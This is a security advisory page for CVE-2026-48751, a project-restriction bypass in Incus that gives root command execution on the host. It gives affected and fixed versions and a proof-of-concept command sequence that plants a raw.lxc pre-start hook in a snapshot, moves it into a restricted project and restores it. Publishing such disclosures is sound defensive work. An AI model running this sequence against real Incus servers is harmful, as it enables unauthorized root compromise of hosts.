CVE-2026-48751: Incus has a restricted project bypass leading to arbitrary command execution
Summary Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Details Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Published Jun 26, 2026
Affected packages
github.com/lxc/incus/v7/cmd/incusd
- Ecosystem
- Go
- Affected
- < 7.2.0
- Fixed in
- 7.2.0
- Check
go list -m github.com/lxc/incus/v7/cmd/incusd
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxcImpact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
Credited to antifob, stgraber.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-48749
Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
critical9.9Jun 26, 2026CVE-2026-48750
Incus has an arbitrary file write on host via `exec-output` symlink in crafted image
critical9.9Jun 26, 2026CVE-2026-48752
Incus has arbitrary file read+write on host via templates/ symlink in malicious image
critical9.9Jun 26, 2026CVE-2026-48753
Incus has an arbitrary file write via path traversal in S3 multipart upload
critical9.9Jun 26, 2026CVE-2026-48755
Incus has an argument injection in backup compression algorithm leading to AFW and ACE
critical9.9Jun 26, 2026CVE-2026-48769
Incus has an arbitrary file write on its client due to trusted image hash
critical9.9Jun 26, 2026
